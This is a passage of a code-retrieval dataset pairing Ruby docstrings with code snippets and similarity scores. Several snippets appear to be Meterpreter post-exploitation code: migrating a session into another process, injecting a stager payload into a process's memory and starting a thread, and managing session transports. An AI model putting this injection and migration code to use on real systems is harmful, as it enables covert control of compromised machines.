"def remove_server(opts = {})\n cmd = \"no tacacs-server host #{opts[:hostname]}\"\n cmd << \" port #{opts[:port]}\" if opts[:port]\n configure cmd\n end",
"def snmp_notification_receiver_remove(opts = {})\n cmd = 'no ' << snmp_notification_receiver_cmd(opts)\n configure cmd\n end",
"def remove(remove_slot = params[\"remove\"])\n\t\tsession[Constants::SESS_MY_CONFIG].remove(remove_slot)\n\t\tgo_to_config\n\tend",
"def unsubscribe_to_optional_target(optional_target_name, options = {})\n unsubscribed_at = options[:unsubscribed_at] || Time.current\n update(optional_targets: optional_targets.merge(\n Subscription.to_optional_target_key(optional_target_name) => false,\n Subscription.to_optional_target_unsubscribed_at_key(optional_target_name) => Subscription.convert_time_as_hash(unsubscribed_at))\n )\n end",
"def remove!\n @session.delete(SESSION_KEY) if empty?\n end",
"def remove_switch_target(target)\n\t\tself.preferences ||= Hash.new\n\t\tif self.preferences[:targets].nil?\n\t\t\tnil\n\t\telse\n\t\t\tself.preferences[:targets].delete_if { |elem| elem[:target] == (target.to_s) }\n\t\tend\n\tend"
] | [
"0.5695839",
"0.54179573",
"0.54105264",
"0.52620673",
"0.52366847",
"0.5210973",
"0.519714",
"0.5149722",
"0.5053752",
"0.50304186",
"0.5025868",
"0.5010846",
"0.49807075",
"0.49807075",
"0.49778166",
"0.49778166",
"0.49778166",
"0.49605197",
"0.4955544",
"0.48863292",
"0.48742682",
"0.4872317",
"0.48649448",
"0.48618746",
"0.48586875",
"0.48431015",
"0.48370245",
"0.48291886",
"0.48057145",
"0.47951302"
] | 0.6770688 | 0 |
Add a transport to the session based on the provided options. | def transport_add(opts={})
request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_ADD, opts)
return false unless request
client.send_request(request)
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def transport(options = {})\n @transport ||= Net::SSH::Transport::Session.new(\n options[:host] || \"localhost\",\n options.merge(kex: \"test\", host_key: \"ssh-rsa\", append_all_supported_algorithms: true, verify_host_key: :never, proxy: socket(options))\n )\n end",
"def options_with_session(options={})\n options.merge(session: @session)\n end",
"def transport\n @transport ||= definition.transport_class.new(ui, transport_options)\n end",
"def set_transport_timeouts(opts={})\n request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS)\n\n if opts[:session_exp]\n request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])\n end\n if opts[:comm_timeout]\n request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])\n end\n if opts[:retry_total]\n request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])\n end\n if opts[:retry_wait]\n request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])\n end\n\n response = client.send_request(request)\n\n {\n :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),\n :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),\n :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),\n :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)\n }\n end",
"def configure(options = {})\n enabled = options.fetch(:enabled, nil)\n hostname = options.fetch(:hostname, nil)\n port = options.fetch(:port, nil)\n sampler = options.fetch(:sampler, nil)\n\n @enabled = enabled unless enabled.nil?\n @writer.transport.hostname = hostname unless hostname.nil?\n @writer.transport.port = port unless port.nil?\n @sampler = sampler unless sampler.nil?\n end",
"def initialize(transport, options = T.unsafe(nil)); end",
"def initialize(transport, options = T.unsafe(nil)); end",
"def install(transport)\n raise NotImplementedError\n end",
"def transport_options\n definition.transport_options\n end",
"def transport(_protocol)\n Class.new do\n attr_reader :provided_features\n def initialize(features)\n @provided_features = features\n end\n end.new(transport_features)\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def offer_us(opt, enable)\n log.debug(\"(#{@pstack.conn.object_id}) Offered Telnet option #{opt.to_s} set to #{enable.to_s}\")\n initiate(opt, enable, :us)\n end",
"def add_session(session, options = {})\n session.each{|s| add_session(s, options)} and return if session.is_a?(Array)\n options = { :include_heading => true }.merge(options)\n puts \"\\n\\nAdding session #{session.id}\"\n session_heading(session) if options[:include_heading] == true\n apps = session.presenters.sort{|x,y| x.offering_session_order.nil? ? x.fullname <=> y.fullname : x.offering_session_order.to_i <=> y.offering_session_order.to_i }\n add_abstracts(apps)\n end",
"def transport(override_region = nil)\n @transports ||= {}\n r = (override_region || region).to_s.upcase\n @transports[r] ||=\n Transport.new(service, r, service_catalog)\n end",
"def transport_for(\n machine_spec,\n remoting_options,\n ip = machine_spec.location['ipaddress']\n )\n if machine_spec.location['is_windows']\n create_winrm_transport(ip, remoting_options)\n else\n create_ssh_transport(ip, remoting_options)\n end\n end",
"def manage(options)\n options = {:peername => options} if options.kind_of?(String)\n sessions << Session.open(options)\n \"Opened session to manage peer: #{options[:peername]}\"\n end",
"def transport_options\n return @transport_options if defined?(@transport_options)\n\n transport_options_proc = transport_options_settings\n\n @transport_options = TransportOptions.new\n\n if transport_options_proc.is_a?(Proc)\n begin\n transport_options_proc.call(TransportOptionsResolver.new(@transport_options))\n rescue NoMethodError => e\n if logger\n logger.debug do\n 'Could not extract configuration from transport_options proc. ' \\\n \"Cause: #{e.class.name} #{e.message} Source: #{Array(e.backtrace).first}\"\n end\n end\n\n # Reset the object; we shouldn't return the same one we passed into the proc as it may have\n # some partial configuration and we want all-or-nothing.\n @transport_options = TransportOptions.new\n end\n end\n\n @transport_options.freeze\n end",
"def newTransport\n\n end",
"def ssl_transport_opts(opt, conn_params)\n opt.on(\"-1\", \"--tlsv1\", \"Use TLS version 1 when negotiating with \" +\n \"the remote Taverna Server server.\") do\n conn_params[:ssl_version] = :TLSv1\n end\n opt.on(\"-2\", \"--sslv2\", \"Use SSL version 2 when negotiating with \" +\n \"the remote Taverna Server server.\") do\n conn_params[:ssl_version] = :SSLv23\n end\n opt.on(\"-3\", \"--sslv3\", \"Use SSL version 3 when negotiating with \" +\n \"the remote Taverna Server server.\") do\n conn_params[:ssl_version] = :SSLv3\n end\n end",
"def cypher_session_adaptor(type, path_or_url, options = {})\n case type\n when :embedded_db, :embedded\n Neo4j::Core::CypherSession::Adaptors::Embedded.new(path_or_url, options)\n when :http\n Neo4j::Core::CypherSession::Adaptors::HTTP.new(path_or_url, options)\n when :bolt\n Neo4j::Core::CypherSession::Adaptors::Bolt.new(path_or_url, options)\n else\n extra = ' (`server_db` has been replaced by `http` or `bolt`)'\n fail ArgumentError, \"Invalid session type: #{type.inspect}#{extra if type.to_sym == :server_db}\"\n end\n end",
"def transports(opts=nil)\n @transports = cli.parent.application.transports\n @transports.load_all\n return \"there are no transports.\" unless @transports.size > 0\n response = catch(:quit) do\n transport = prompt_trans\n begin\n puts hr\n puts transport.inspect\n puts hr\n command_names = transport.interface.commands.map{|x| x.name } << :quit\n list = command_names.map{|x| %{[#{x}]}}\n puts \"enter <name> = <value>\"\n puts \"or type the beginning of\"<<(list.size > 1 ? ' one of ' : ' ') <<\n en{np(:the,'command',list.size,:say_count => false)}.say\n puts en{list(list)}.or\n puts hr\n print \": \"\n entered = gets.chomp\n cmd = prompt_enum(command_names.map{|_|_.to_s} << \"\", entered)\n if (cmd)\n case cmd\n when \"\": next\n when \"quit\": throw :quit, \"goodbye, thank you\"\n when String:\n command = transport.interface.command[cmd.to_sym]\n begin\n resp = transport.send(command.method) # we trust that the above only allowed thru publicly accessible cmd names\n puts resp.to_s\n rescue Hipe::SocialSync::TransportRuntimeError => e\n puts e.message\n next\n end\n else raise \"huh?\"\n end\n else\n if (/^[a-z_]+$/i =~ entered)\n puts \"unrecognized or ambiguous command #{entered.inspect}\"\n next\n elsif( tree = parse_assignment(entered) )\n unless(accessor = transport.class.attrs[tree.name])\n puts %|not a writable attribute: #{tree.name.inspect}|\n next\n end\n begin\n transport.send %{#{accessor.name}=}, tree.value\n rescue ArgumentError => e\n puts e.message << \" for #{accessor.name}\"\n next\n end\n next\n else\n puts \"poorly formed request: #{entered.inspect}\"\n next\n end\n end\n end while true\n end\n end",
"def add_timeout(opts = {})\n @timeout = opts[:timeout] || @timeout\n opts.delete(:timeout)\n end",
"def add_options(opts)\n opts\n end",
"def setup_transport\n if @driver.is_a?(Kitchen::Driver::Localhost)\n @transport = Kitchen::Transport::Localhost.new\n end\n old_setup_transport\n end",
"def configure(options)\n config_options.push(options)\n end",
"def create\n raise RuntimeError, \"bad transport type\" unless Transport::Types.include?(params[:transport][:transport])\n @transport = Transport.new(params[:transport].merge( :player => @player ) )\n\n respond_to do |format|\n if @transport.save\n flash[:notice] = 'Transport was successfully created.'\n # url_for(:action => :edit, :player_id => @player.id, :id => @transport.id)\n format.html { redirect_to( player_transport_path(@player, @transport ) ) }\n format.xml { render :xml => @transport, :status => :created, :location => @transport }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transport.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_options(opts = {})\n @wsdl = opts[:wsdl] || Settings.session.wsdl\n @endpoint = opts[:endpoint] || Settings.session.endpoint\n @soap_log = opts[:soap_log] || Settings.session.soap_log\n @soap_logger = opts[:soap_logger] || Settings.session.soap_logger\n @soap_log_level = opts[:soap_log_level] || Settings.session.soap_log_level\n @username = opts[:username] || Settings.session.username\n @password = opts[:password] || Settings.session.password\n @auth_cookie = opts[:auth_cookie] || nil\n end",
"def initialize(host, options = { timeout: 10, prompt: /.+(#|>|\\])/ }, logger = nil)\n @host = host.strip\n @options = options\n @transports = []\n\n setup_logger(logger)\n\n Net::Ops::Transport.constants.each do |c|\n register_transport(c) if Class === Net::Ops::Transport.const_get(c)\n end\n end"
] | [
"0.6336131",
"0.5631498",
"0.53697085",
"0.5368454",
"0.52854973",
"0.5276315",
"0.5276315",
"0.51792395",
"0.51540804",
"0.50504684",
"0.49745977",
"0.49745977",
"0.49745977",
"0.49369544",
"0.4906899",
"0.48927927",
"0.48893186",
"0.48440734",
"0.4838005",
"0.48361906",
"0.48169708",
"0.48124462",
"0.4786429",
"0.47771442",
"0.4753711",
"0.47521344",
"0.47505593",
"0.47353745",
"0.4718634",
"0.46956804"
] | 0.60187656 | 1 |
Change the active transport to the next one in the transport list. | def transport_next
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_NEXT)
client.send_request(request)
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_current_transport\n x = transport_list\n x[:transports][0]\n end",
"def advance\n @to = @to.next\n end",
"def next\n update_current(list_index_of(@current))\n end",
"def switch_player\n @current_player = @current_player == @players.first ? @players.last : @players.first\n end",
"def switch_player\n @act_p = @act_p.id == 0 ? self[1] : self[0]\n end",
"def switch_player(current_player)\n current_player == player1 ? @next_player = player2 : @next_player = player1\n end",
"def update_current(next_idx)\n @current = @list[next_idx]\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def transport_prev\n request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_PREV)\n client.send_request(request)\n return true\n end",
"def move_next\n\t\tself.current = self.current&.next\n\tend",
"def move_next\n\t\tself.current = self.current&.next\n\tend",
"def go_to_the_next_station!\n gain_speed\n current_station.send_out(self) if current_station\n self.current_station_id += 1\n current_station.take(self) if current_station\n stop\n end",
"def switch_player\n if @current_player == @players[0]\n @current_player = @players[1]\n else\n @current_player = @players[0]\n end\n end",
"def swap(target, transact = true)\n move_to(target, :swap, transact) \n end",
"def next_item\n storage.rotate!\n\n update\n end",
"def move_later\n nekst = self.next\n self.append_to(nekst) if nekst\n end",
"def switch_current_active_number\n @current_active_number = 1 - current_active_number\n store_current_active_number_in_database\n store_current_active_number_in_cache\n end",
"def move_forward\n raise 'Это последняя станция' if @stations[@index + 1].nil?\n\n @stations[@index].departure(self)\n @index += 1\n @current_station = @stations[@index]\n @stations[@index].arrival(self)\n end",
"def next_item\n storage.rotate!\n\n update\n end",
"def next_item\n storage.rotate!\n\n update\n end",
"def set_next(node)\n\t\t\t@next = node\n\t\tend",
"def switch_current_player\n @current_player = @current_player == @player1 ? @player2 : @player1\n end",
"def set_next(node)\n @next_node = node\n end",
"def switch_player\n if @active_player == @player1\n @active_player = @player2\n else\n @active_player = @player1\n end\n end",
"def swap_with_next i\n #if first_item >= first_item.next_list_item\n\n end",
"def shift_down_next_tasks\n return if next_associated_tasks.empty?\n\n # Shift down next task order_index starting\n # from the current index if the current object is deleted\n # from the next index if the current object exists\n new_order = destroyed? ? order_index : order_index + 1\n\n next_associated_tasks.each do |task|\n task.update_columns(order_index: new_order)\n new_order += 1\n end\n end",
"def move_station(next_station_index)\n @route.stations[@cur_station_index].send_train(self)\n @route.stations[next_station_index].pass_train(self)\n @cur_station_index = next_station_index\n end",
"def []=(index, new_payload)\n item = @first_item\n index.times do\n item = item.next_list_item\n end\n item.payload = new_payload\n end"
] | [
"0.55481637",
"0.5497913",
"0.53691226",
"0.5345332",
"0.53421706",
"0.53344965",
"0.52844894",
"0.5274306",
"0.5274306",
"0.5274306",
"0.5213262",
"0.52129275",
"0.52129275",
"0.51778936",
"0.5166082",
"0.5127569",
"0.5103578",
"0.5089631",
"0.50820816",
"0.50565475",
"0.50296146",
"0.50296146",
"0.50020826",
"0.5000651",
"0.49409586",
"0.49355987",
"0.492816",
"0.4923568",
"0.4886115",
"0.48816094"
] | 0.6251462 | 0 |
Change the active transport to the previous one in the transport list. | def transport_prev
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_PREV)
client.send_request(request)
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def swap(target, transact = true)\n move_to(target, :swap, transact) \n end",
"def get_current_transport\n x = transport_list\n x[:transports][0]\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def set_transport\n @transport = Transport.find(params[:id])\n end",
"def transferee=(value)\n @transferee = value\n end",
"def switch_current_active_number\n @current_active_number = 1 - current_active_number\n store_current_active_number_in_database\n store_current_active_number_in_cache\n end",
"def swap(new)\n v = @tvar.value\n raise Ractor::RetryTransaction if v == EMPTY\n\n @tvar.value = new\n v\n end",
"def switch_player\n @act_p = @act_p.id == 0 ? self[1] : self[0]\n end",
"def switch_player\n @current_player = @current_player == @players.first ? @players.last : @players.first\n end",
"def set_as_current!\n car.car_cancel_reservations.update_all(current: false)\n self.current = true\n end",
"def deactivate\n @active = false\n end",
"def set_active_target(name)\n\n # Empty out current active target\n @active_target = nil\n\n # Go through each pair\n @targets.each_pair do |target_name, target|\n # If you find a matching item\n if name == target_name\n # Check if there is already a default\n if @active_target == nil\n # Set active\n target.active = true\n # Make it default\n @active_target = target\n end\n else # name != name\n # make not active\n target.active = false\n end\n end\n\n if @active_target != nil\n # Save to yaml\n dump_settings\n # Notify the user\n puts \"Active target changed\"\n @active_target.print\n else\n AbuseTheForce.pute \"Target with alias #{name} was not found.\"\n end\n\n end",
"def reactivate\n unless @active\n apply(ItemReactivated.new(id))\n end\n end",
"def set_transport_setup\n @transport_setup = TransportSetup.find(params[:id])\n end",
"def check_before_remove(transport)\n \t# pokud je transport uzavřen vyvolam vyjímku\n \tif not transport.efectiveUnLoadTime.nil?\n \t\traise \"Transport is finished - you can not remove item\" \n \telse\n \t\t#Pokud jde o posledni transport daneho itemu vynuluju jeho Place_id\n \t\tif self.transports.size == 1 then\n \t\t\tself.place_id = nil\n \t\t\tself.placeSince = nil\n \t\t\tself.save\n\t\t\tend\t\n \tend\t\n end",
"def active=(i)\r\n @active.pop\r\n @active.push(i)\r\n end",
"def newTransport\n\n end",
"def deactivate\n @active = false\n return\n end",
"def set_transportation\n @transportation = Transportation.find(params[:id])\n end",
"def switch_players\n temp = @current_player\n @current_player = @opposing_player\n @opposing_player = temp\n end",
"def set_transport_allowance\n @transport_allowance = TransportAllowance.find(params[:id])\n end",
"def switch_player\n if @current_player == @players[0]\n @current_player = @players[1]\n else\n @current_player = @players[0]\n end\n end",
"def pop_active\r\n @active.pop()\r\n end",
"def switch_player\n if @active_player == @player1\n @active_player = @player2\n else\n @active_player = @player1\n end\n end",
"def deactivate\n last_state = @active\n @active = false\n return @active\n end",
"def activate!\n self.status = 'Active'\n nil\n end",
"def prev_item\n storage.rotate!(-1)\n\n update\n end",
"def transport_change(opts={})\n request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_CHANGE, opts)\n\n return false unless request\n\n client.send_request(request)\n\n return true\n end",
"def switch_current_player\n @current_player = @current_player == @player1 ? @player2 : @player1\n end"
] | [
"0.5749374",
"0.5717859",
"0.56225383",
"0.56225383",
"0.56225383",
"0.5431106",
"0.54201126",
"0.53342664",
"0.5324029",
"0.5184787",
"0.5176794",
"0.5144027",
"0.51262647",
"0.5117054",
"0.51132405",
"0.5068399",
"0.5040935",
"0.5033989",
"0.5020549",
"0.5015362",
"0.500009",
"0.4996068",
"0.4994108",
"0.49821582",
"0.49692443",
"0.49643862",
"0.49596572",
"0.49526763",
"0.4932123",
"0.4925719"
] | 0.61688113 | 0 |
Attempt to get the SSL hash being used for verificaton (if any). | def get_ssl_hash_verify
# Not supported unless we have a socket with SSL enabled
return nil unless self.client.sock.type? == 'tcp-ssl'
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH)
response = client.send_request(request)
return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def enable_ssl_hash_verify\n # Not supported unless we have a socket with SSL enabled\n return nil unless self.client.sock.type? == 'tcp-ssl'\n\n request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)\n\n hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)\n request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)\n\n client.send_request(request)\n\n return hash\n end",
"def ssl_version\n @ssl_version ||= nil\n end",
"def disable_ssl_hash_verify\n # Not supported unless we have a socket with SSL enabled\n return nil unless self.client.sock.type? == 'tcp-ssl'\n\n request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)\n\n # send an empty request to disable it\n client.send_request(request)\n\n return true\n end",
"def hash_secure\n sha256 = OpenSSL::Digest::SHA256.new\n enc64(sha256.digest)\n end",
"def ssl_version\n return nil unless ssl?\n @socket.ssl_version\n end",
"def ssl_hash\n ssl_defaults = {\n verify: true,\n verify_depth: 3,\n version: 'TLSv1'\n }\n\n custom_config = unhashie(options.ssl_config)\n ssl_defaults.merge(custom_config)\n end",
"def ssl_version; end",
"def ssl_version; end",
"def ssl_version_state; end",
"def calc_hash(pass)\n salt_cost = SCrypt::Engine.autodetect_cost(self[:salt])\n SCrypt::Engine.scrypt(pass, self[:salt], salt_cost, 32).unpack('H*').first\n end",
"def hash_secure\n # TODO: implement this method\n # - Use sha256 from openssl to create a cryptographically secure hash.\n # - Credit cards with identical information should produce the same hash\n OpenSSL::Digest::SHA256.digest(to_s).unpack(\"H*\")\n end",
"def ssl_version\n @agent.ssl_version\n end",
"def cert_digest\n Digest::SHA1.hexdigest(@cert.to_der)\n end",
"def cert_hash(cert)\n java_bytes = cert_to_java_bytes(cert)\n return nil unless java_bytes\n\n hash = CryptoUtils::calculateCertHexHash(java_bytes)\n hash.upcase.scan(/.{1,2}/).join(':')\n end",
"def hash_secure\n # TODO: Use sha256 from openssl to create a cryptographically secure hash.\n # Credit cards with identical information should produce the same hash.\n\n sha256 = OpenSSL::Digest::SHA256.new\n sha256.digest(self.to_s).unpack('h*')\nend",
"def digest_class\n Digest::SHA256\n end",
"def digest_class\n Digest::SHA256\n end",
"def get_crypto_salt_hex\n return @crypto_salt if ! @crypto_salt\n @crypto_salt.unpack(\"H*\")\n end",
"def hash_from_payload(payload)\n Digest::SHA256.digest(Digest::SHA256.digest( payload )).reverse.unpack(\"H*\")[0]\n end",
"def ssl_verify; @opts[:ssl_verify]; end",
"def digest\n Digest::SHA2.new\n end",
"def secure_hash(string)\n\t Digest::SHA2.hexdigest(string)\n\tend",
"def ssl_binary\n\t\t\tssl && ssl_on ? 1 : 0\n\t\tend",
"def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end",
"def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end",
"def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end",
"def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end",
"def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end",
"def saml_provider_cert_fingerprint\n @attributes[:saml_provider_cert_fingerprint]\n end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend"
] | [
"0.7343069",
"0.6469181",
"0.63263786",
"0.63204813",
"0.6216175",
"0.62072045",
"0.6200956",
"0.6200956",
"0.61360353",
"0.59880763",
"0.59741217",
"0.5971255",
"0.59433615",
"0.59317744",
"0.5891345",
"0.5829062",
"0.5829062",
"0.5805679",
"0.57949144",
"0.5783857",
"0.57408863",
"0.5710068",
"0.5705974",
"0.56904703",
"0.56819516",
"0.56751657",
"0.56751657",
"0.56751657",
"0.5655308",
"0.563027"
] | 0.77239394 | 0 |
Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established. | def migrate(target_pid, writable_dir = nil, opts = {})
keepalive = client.send_keepalives
client.send_keepalives = false
target_process = nil
current_process = nil
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
current_pid = client.sys.process.getpid
# Find the current and target process instances
client.sys.process.processes.each { | p |
if p['pid'] == target_pid
target_process = p
elsif p['pid'] == current_pid
current_process = p
end
}
# We cant migrate into a process that does not exist.
unless target_process
raise RuntimeError, 'Cannot migrate into non existent process', caller
end
# We cannot migrate into a process that we are unable to open
# On linux, arch is empty even if we can access the process
if client.platform == 'windows'
if target_process['arch'] == nil || target_process['arch'].empty?
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
end
end
# And we also cannot migrate into our own current process...
if current_process['pid'] == target_process['pid']
raise RuntimeError, 'Cannot migrate into current process', caller
end
migrate_stub = generate_migrate_stub(target_process)
migrate_payload = generate_migrate_payload(target_process)
# Build the migration request
request = Packet.create_request(COMMAND_ID_CORE_MIGRATE)
request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
if target_process['arch'] == ARCH_X64
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
else
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
end
# if we change architecture, we need to change UUID as well
if current_process['arch'] != target_process['arch']
client.payload_uuid.arch = target_process['arch']
request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw )
end
# Send the migration request. Timeout can be specified by the caller, or set to a min
# of 60 seconds.
timeout = [(opts[:timeout] || 0), 60].max
client.send_request(request, timeout)
# Post-migration the session doesn't have encryption any more.
# Set the TLV key to nil to make sure that the old key isn't used
# at all.
client.tlv_enc_key = nil
if client.passive_service
# Sleep for 5 seconds to allow the full handoff, this prevents
# the original process from stealing our loadlib requests
::IO.select(nil, nil, nil, 5.0)
elsif client.pivot_session.nil?
# Prevent new commands from being sent while we finish migrating
client.comm_mutex.synchronize do
# Disable the socket request monitor
client.monitor_stop
###
# Now communicating with the new process
###
# only renegotiate SSL if the session had support for it in the
# first place!
if client.supports_ssl?
# If renegotiation takes longer than a minute, it's a pretty
# good bet that migration failed and the remote side is hung.
# Since we have the comm_mutex here, we *must* release it to
# keep from hanging the packet dispatcher thread, which results
# in blocking the entire process.
begin
Timeout.timeout(timeout) do
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
end
rescue TimeoutError
client.alive = false
return false
end
end
# Restart the socket monitor
client.monitor_socket
end
end
# Renegotiate TLV encryption on the migrated session
secure
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
client.ext.aliases.keys.each { |e|
client.core.use(e)
}
# Restore session keep-alives
client.send_keepalives = keepalive
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cmd_migrate(*args)\n\t\tif (args.length == 0)\n\t\t\tprint_line(\n\t\t\t\t\"Usage: migrate pid\\n\\n\" +\n\t\t\t\t\"Migrates the server instance to another process.\\n\" +\n\t\t\t\t\"Note: Any open channels or other dynamic state will be lost.\")\n\t\t\treturn true\n\t\tend\n\n\t\tpid = args[0].to_i\n\t\tif(pid == 0)\n\t\t\tprint_error(\"A process ID must be specified, not a process name\")\n\t\t\treturn\n\t\tend\n\n\t\tprint_status(\"Migrating to #{pid}...\")\n\n\t\t# Do this thang.\n\t\tclient.core.migrate(pid)\n\n\t\tprint_status(\"Migration completed successfully.\")\n\tend",
"def migrate_pid(target_pid, current_pid)\n if !target_pid\n print_error(\"Could not migrate to PID #{target_pid}. Exiting...\")\n return false\n end\n\n if !has_pid?(target_pid)\n print_error(\"Could not migrate to PID #{target_pid}. Does not exist! Exiting...\")\n return false\n end\n\n print_status(\"Trying PID: #{target_pid}\")\n\n if target_pid == current_pid\n print_good(\"Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n end\n\n begin\n client.core.migrate(target_pid)\n print_good(\"Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n rescue Rex::Post::Meterpreter::RequestError => error\n print_error(\"Could not migrate to PID #{target_pid}. Exiting...\")\n print_error(error.to_s)\n return false\n end\n end",
"def migrate(target_pid, proc_name, current_pid)\n if !target_pid\n print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n return false\n end\n\n print_status(\"Trying #{proc_name} (#{target_pid})\")\n\n if target_pid == current_pid\n print_good(\"Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n end\n\n begin\n client.core.migrate(target_pid)\n print_good(\"Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n rescue Rex::Post::Meterpreter::RequestError => error\n print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n print_error(error.to_s)\n return false\n end\n end",
"def migrate(session)\n\ttarget = 'cmd.exe'\n\tnewProcPid = launchProc(session,target)\n\toldProc = migrateToProc(session,newProcPid)\n\t#killApp(oldProc)\n \t#Dangerous depending on the service exploited\nend",
"def inject(target_pid, payload_to_inject)\n\tprint_status(\"Injecting meterpreter into process ID #{target_pid}\")\n\tbegin\n\t\thost_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS)\n\t\traw = payload_to_inject.generate\n\t\tmem = host_process.memory.allocate(raw.length + (raw.length % 1024))\n\n\t\tprint_status(\"Allocated memory at address #{\"0x%.8x\" % mem}, for #{raw.length} byte stager\")\n\t\tprint_status(\"Writing the stager into memory...\")\n\t\thost_process.memory.write(mem, raw)\n\t\thost_process.thread.create(mem, 0)\n\t\tprint_good(\"Successfully injected Meterpreter in to process: #{target_pid}\")\n\trescue::Exception => e\n\t\tprint_error(\"Failed to Inject Payload to #{target_pid}!\")\n\t\tprint_error(e)\n\tend\nend",
"def inject(target_pid, payload_to_inject)\n print_status(\"Injecting meterpreter into process ID #{target_pid}\")\n begin\n host_process = session.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS)\n raw = payload_to_inject.generate\n mem = host_process.memory.allocate(raw.length + (raw.length % 1024))\n\n print_status(\"Allocated memory at address #{\"0x%.8x\" % mem}, for #{raw.length} byte stager\")\n print_status(\"Writing the stager into memory...\")\n host_process.memory.write(mem, raw)\n host_process.thread.create(mem, 0)\n print_good(\"Successfully injected Meterpreter in to process: #{target_pid}\")\n rescue::Exception => e\n print_error(\"Failed to Inject Payload to #{target_pid}!\")\n print_error(e.message)\n end\n end",
"def attach(pid)\n MemoryIO::Process.new(pid)\n end",
